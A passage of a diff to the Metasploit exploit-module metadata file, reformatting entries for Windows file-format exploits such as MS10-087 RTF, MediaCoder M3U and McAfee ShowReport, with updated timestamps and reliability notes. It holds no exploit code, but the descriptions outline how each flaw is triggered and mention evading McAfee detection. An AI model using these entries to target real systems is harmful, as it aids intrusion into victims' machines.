detectable by McAfee -- any Windows binary, such\n as calc.exe or notepad.exe, should bypass McAfee fine.", + "description": "This module exploits a vulnerability found in McAfee Security-as-a-Service.\n The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails\n to check the FileName argument, and passes it on to a ShellExecuteW() function,\n therefore allows any malicious attacker to execute any process that's on the\n local system. However, if the victim machine is connected to a remote share\n (or something similar), then it's also possible to execute arbitrary code.\n Please note that a custom template is required for the payload, because the\n default Metasploit template is detectable by McAfee -- any Windows binary, such\n as calc.exe or notepad.exe, should bypass McAfee fine.", "references": [ "OSVDB-78310", "BID-51397", @@ -156624,16 +160153,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb", "is_install_path": true, "ref_name": "windows/fileformat/mcafee_showreport_exec", @@ -156641,6 +160166,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156648,9 +160182,7 @@ "exploit_windows/fileformat/mediacoder_m3u": { "name": "MediaCoder .M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/mediacoder_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-24", "type": "exploit", @@ -156659,7 +160191,7 @@ "modpr0be ", "otoy " ], - "description": "This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution under the context\n of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder\n runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539\n to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.", + "description": "This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution under the context\n of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder\n runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539\n to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.", "references": [ "CVE-2017-8869", "OSVDB-94522", @@ -156668,16 +160200,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mediacoder_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/mediacoder_m3u", @@ -156685,6 +160213,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156692,9 +160229,7 @@ "exploit_windows/fileformat/mediajukebox": { "name": "Media Jukebox 8.0.400 Buffer Overflow (SEH)", "fullname": "exploit/windows/fileformat/mediajukebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-07-01", "type": "exploit", @@ -156702,7 +160237,7 @@ "Ron Henry ", "dijital1" ], - "description": "This module exploits a stack buffer overflow in Media Jukebox 8.0.400\n by creating a specially crafted m3u or pls file.", + "description": "This module exploits a stack buffer overflow in Media Jukebox 8.0.400\n by creating a specially crafted m3u or pls file.", "references": [ "OSVDB-55924", "CVE-2009-2650" @@ -156710,17 +160245,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - English", "Windows XP SP2 - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mediajukebox.rb", "is_install_path": true, "ref_name": "windows/fileformat/mediajukebox", @@ -156728,6 +160259,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156735,16 +160275,14 @@ "exploit_windows/fileformat/microp_mppl": { "name": "MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/microp_mppl", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-08-23", "type": "exploit", "author": [ "James Fitts " ], - "description": "This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based\n buffer overflow occurs when the content of a .mppl file gets copied onto the stack,\n which overwrites the lpFileName parameter of a CreateFileA() function, and results\n arbitrary code execution under the context of the user.", + "description": "This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based\n buffer overflow occurs when the content of a .mppl file gets copied onto the stack,\n which overwrites the lpFileName parameter of a CreateFileA() function, and results\n arbitrary code execution under the context of the user.", "references": [ "CVE-2010-5299", "OSVDB-73627", @@ -156753,16 +160291,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 / Vista / 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/microp_mppl.rb", "is_install_path": true, "ref_name": "windows/fileformat/microp_mppl", @@ -156770,6 +160304,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156777,9 +160320,7 @@ "exploit_windows/fileformat/microsoft_windows_contact": { "name": "Microsoft Windows Contact File Format Arbitary Code Execution", "fullname": "exploit/windows/fileformat/microsoft_windows_contact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-01-17", "type": "exploit", @@ -156787,7 +160328,7 @@ "John Page (aka hyp3rlinx)", "Brenner Little" ], - "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.", + "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.", "references": [ "EDB-46188", "URL-http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt", @@ -156796,16 +160337,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/microsoft_windows_contact.rb", "is_install_path": true, "ref_name": "windows/fileformat/microsoft_windows_contact", @@ -156813,6 +160350,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156820,9 +160366,7 @@ "exploit_windows/fileformat/millenium_mp3_pls": { "name": "Millenium MP3 Studio 2.0 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/millenium_mp3_pls", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-07-30", "type": "exploit", @@ -156840,16 +160384,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/millenium_mp3_pls.rb", "is_install_path": true, "ref_name": "windows/fileformat/millenium_mp3_pls", @@ -156857,6 +160397,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156864,9 +160413,7 @@ "exploit_windows/fileformat/mini_stream_pls_bof": { "name": "Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mini_stream_pls_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-16", "type": "exploit", @@ -156875,7 +160422,7 @@ "Tiago Henriques", "James Fitts " ], - "description": "This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3\n Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim\n opens the malicious PLS file.", + "description": "This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3\n Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim\n opens the malicious PLS file.", "references": [ "CVE-2010-5081", "OSVDB-78078", @@ -156885,16 +160432,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/mini_stream_pls_bof", @@ -156902,6 +160445,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156909,9 +160461,7 @@ "exploit_windows/fileformat/mjm_coreplayer2011_s3m": { "name": "MJM Core Player 2011 .s3m Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mjm_coreplayer2011_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-30", "type": "exploit", @@ -156919,7 +160469,7 @@ "rick2600", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in MJM Core Player 2011\n When opening a malicious s3m file in this application, a stack buffer overflow can be\n triggered, resulting in arbitrary code execution.\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", + "description": "This module exploits a stack buffer overflow in MJM Core Player 2011\n When opening a malicious s3m file in this application, a stack buffer overflow can be\n triggered, resulting in arbitrary code execution.\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", "references": [ "OSVDB-72101", "URL-http://www.corelan.be/advisories.php?id=CORELAN-11-004" @@ -156927,16 +160477,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal Generic DEP & ASLR Bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb", "is_install_path": true, "ref_name": "windows/fileformat/mjm_coreplayer2011_s3m", @@ -156944,6 +160490,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156951,9 +160506,7 @@ "exploit_windows/fileformat/mjm_quickplayer_s3m": { "name": "MJM QuickPlayer 1.00 Beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/mjm_quickplayer_s3m", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-30", "type": "exploit", @@ -156961,7 +160514,7 @@ "rick2600", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 beta 60a\n and QuickPlayer 2010 (Multi-target exploit). When opening a malicious s3m file in\n one of these 2 applications, a stack buffer overflow can be triggered, resulting in\n arbitrary code execution.\n\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", + "description": "This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 beta 60a\n and QuickPlayer 2010 (Multi-target exploit). When opening a malicious s3m file in\n one of these 2 applications, a stack buffer overflow can be triggered, resulting in\n arbitrary code execution.\n\n This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.", "references": [ "OSVDB-72102", "URL-http://www.corelan.be/advisories.php?id=CORELAN-11-003" @@ -156969,16 +160522,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal Generic DEP & ASLR Bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb", "is_install_path": true, "ref_name": "windows/fileformat/mjm_quickplayer_s3m", @@ -156986,6 +160535,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156993,16 +160551,14 @@ "exploit_windows/fileformat/moxa_mediadbplayback": { "name": "MOXA MediaDBPlayback ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/moxa_mediadbplayback", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-10-19", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When\n sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When\n sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-4742", "OSVDB-68986", @@ -157011,16 +160567,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb", "is_install_path": true, "ref_name": "windows/fileformat/moxa_mediadbplayback", @@ -157028,6 +160580,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157035,9 +160596,7 @@ "exploit_windows/fileformat/mplayer_m3u_bof": { "name": "MPlayer Lite M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/mplayer_m3u_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-03-19", "type": "exploit", @@ -157045,7 +160604,7 @@ "C4SS!0 and h1ch4m", "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n MPlayer Lite r33064, caused by improper bounds checking of an URL entry.\n\n By persuading the victim to open a specially-crafted .M3U file, specifically by\n drag-and-dropping it to the player, a remote attacker can execute arbitrary\n code on the system.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n MPlayer Lite r33064, caused by improper bounds checking of an URL entry.\n\n By persuading the victim to open a specially-crafted .M3U file, specifically by\n drag-and-dropping it to the player, a remote attacker can execute arbitrary\n code on the system.", "references": [ "BID-46926", "EDB-17013", @@ -157054,16 +160613,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/mplayer_m3u_bof", @@ -157071,6 +160626,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157078,9 +160642,7 @@ "exploit_windows/fileformat/mplayer_sami_bof": { "name": "MPlayer SAMI Subtitle File Buffer Overflow", "fullname": "exploit/windows/fileformat/mplayer_sami_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-19", "type": "exploit", @@ -157088,7 +160650,7 @@ "Jacques Louw", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow found in the handling\n of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently\n targets SMPlayer 0.6.8, which is distributed with a vulnerable version of MPlayer.\n\n The overflow is triggered when an unsuspecting victim opens a movie file first,\n followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also\n be done from the console with the MPlayer \"-sub\" option.", + "description": "This module exploits a stack-based buffer overflow found in the handling\n of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently\n targets SMPlayer 0.6.8, which is distributed with a vulnerable version of MPlayer.\n\n The overflow is triggered when an unsuspecting victim opens a movie file first,\n followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also\n be done from the console with the MPlayer \"-sub\" option.", "references": [ "BID-49149", "OSVDB-74604", @@ -157097,16 +160659,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mplayer_sami_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/mplayer_sami_bof", @@ -157114,6 +160672,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157121,9 +160688,7 @@ "exploit_windows/fileformat/ms09_067_excel_featheader": { "name": "MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability", "fullname": "exploit/windows/fileformat/ms09_067_excel_featheader", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-11-10", "type": "exploit", @@ -157143,12 +160708,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office 2002 (XP) SP3 base English on Windows XP SP3 English", "Microsoft Office 2002 (XP) SP3 w/kb969680 English on Windows XP SP3 English", @@ -157156,7 +160717,7 @@ "Microsoft Office 2007 SP2 English on Windows XP SP3 English", "Crash Target for Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms09_067_excel_featheader", @@ -157164,6 +160725,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157171,9 +160741,7 @@ "exploit_windows/fileformat/ms10_004_textbytesatom": { "name": "MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ms10_004_textbytesatom", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-02-09", "type": "exploit", @@ -157182,7 +160750,7 @@ "Snake", "jduck " ], - "description": "This module exploits a stack buffer overflow vulnerability in the handling of\n the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,\n the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as\n Office 2004 for Mac, are vulnerable.\n\n NOTE: The vulnerable code path is not reachable on versions of Windows prior to\n Windows Vista.", + "description": "This module exploits a stack buffer overflow vulnerability in the handling of\n the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,\n the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as\n Office 2004 for Mac, are vulnerable.\n\n NOTE: The vulnerable code path is not reachable on versions of Windows prior to\n Windows Vista.", "references": [ "CVE-2010-0033", "OSVDB-62241", @@ -157192,19 +160760,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft PowerPoint Viewer 2003", "Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3", "Microsoft PowerPoint Viewer 2003 (kb969615)", "Crash Target for Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms10_004_textbytesatom", @@ -157212,6 +160776,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157219,9 +160792,7 @@ "exploit_windows/fileformat/ms10_038_excel_obj_bof": { "name": "MS11-038 Microsoft Office Excel Malformed OBJ Record Handling Overflow", "fullname": "exploit/windows/fileformat/ms10_038_excel_obj_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-06-08", "type": "exploit", @@ -157230,7 +160801,7 @@ "Shahin Ramezany ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.\n By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker\n can get the control of the execution flow. This results in arbitrary code execution under\n the context of the user.", + "description": "This module exploits a vulnerability found in Excel 2002 of Microsoft Office XP.\n By supplying a .xls file with a malformed OBJ (recType 0x5D) record an attacker\n can get the control of the execution flow. This results in arbitrary code execution under\n the context of the user.", "references": [ "CVE-2010-0822", "OSVDB-65236", @@ -157241,17 +160812,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Office Excel 2002 10.2614.2625 Service Pack 0(Office XP) on Windows XP SP3", "Microsoft Office Excel 2002 10.6501.6626 Service Pack 3 (Office XP SP3) on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms10_038_excel_obj_bof", @@ -157259,6 +160826,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157266,9 +160842,7 @@ "exploit_windows/fileformat/ms10_087_rtf_pfragments_bof": { "name": "MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)", "fullname": "exploit/windows/fileformat/ms10_087_rtf_pfragments_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-09", "type": "exploit", @@ -157278,7 +160852,7 @@ "jduck ", "DJ Manila Ice, Vesh, CA" ], - "description": "This module exploits a stack-based buffer overflow in the handling of the\n 'pFragments' shape property within the Microsoft Word RTF parser. All versions\n of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the\n MS10-087 bulletin are vulnerable.\n\n This module does not attempt to exploit the vulnerability via Microsoft Outlook.\n\n The Microsoft Word RTF parser was only used by default in versions of Microsoft\n Word itself prior to Office 2007. With the release of Office 2007, Microsoft\n began using the Word RTF parser, by default, to handle rich-text messages within\n Outlook as well. It was possible to configure Outlook 2003 and earlier to use\n the Microsoft Word engine too, but it was not a default setting.\n\n It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that\n Microsoft will confirm or deny this since Office 2000 has reached its support\n cycle end-of-life.", + "description": "This module exploits a stack-based buffer overflow in the handling of the\n 'pFragments' shape property within the Microsoft Word RTF parser. All versions\n of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the\n MS10-087 bulletin are vulnerable.\n\n This module does not attempt to exploit the vulnerability via Microsoft Outlook.\n\n The Microsoft Word RTF parser was only used by default in versions of Microsoft\n Word itself prior to Office 2007. With the release of Office 2007, Microsoft\n began using the Word RTF parser, by default, to handle rich-text messages within\n Outlook as well. It was possible to configure Outlook 2003 and earlier to use\n the Microsoft Word engine too, but it was not a default setting.\n\n It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that\n Microsoft will confirm or deny this since Office 2000 has reached its support\n cycle end-of-life.", "references": [ "CVE-2010-3333", "OSVDB-69085", @@ -157289,12 +160863,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Microsoft Office 2002 SP3 English on Windows XP SP3 English", @@ -157304,7 +160874,7 @@ "Microsoft Office 2007 SP0 English on Windows 7 SP0 English", "Crash Target for Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms10_087_rtf_pfragments_bof", @@ -157312,6 +160882,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -157319,9 +160898,7 @@ "exploit_windows/fileformat/ms11_006_createsizeddibsection": { "name": "MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/ms11_006_createsizeddibsection", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-12-15", "type": "exploit", @@ -157330,7 +160907,7 @@ "Yaniv Miron aka Lament of ilhack", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in the handling of thumbnails\n within .MIC files and various Office documents. When processing a thumbnail bitmap\n containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This\n leads to arbitrary code execution.\n\n In order to trigger the vulnerable code, the folder containing the document must be\n viewed using the \"Thumbnails\" view.", + "description": "This module exploits a stack-based buffer overflow in the handling of thumbnails\n within .MIC files and various Office documents. When processing a thumbnail bitmap\n containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This\n leads to arbitrary code execution.\n\n In order to trigger the vulnerable code, the folder containing the document must be\n viewed using the \"Thumbnails\" view.", "references": [ "CVE-2010-3970", "OSVDB-70263", @@ -157340,19 +160917,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 2000 SP0/SP4 English", "Windows XP SP3 English", "Crash Target for Debugging" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb", "is_install_path": true, "ref_name": "windows/fileformat/ms11_006_createsizeddibsection", @@ -157360,6 +160933,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, 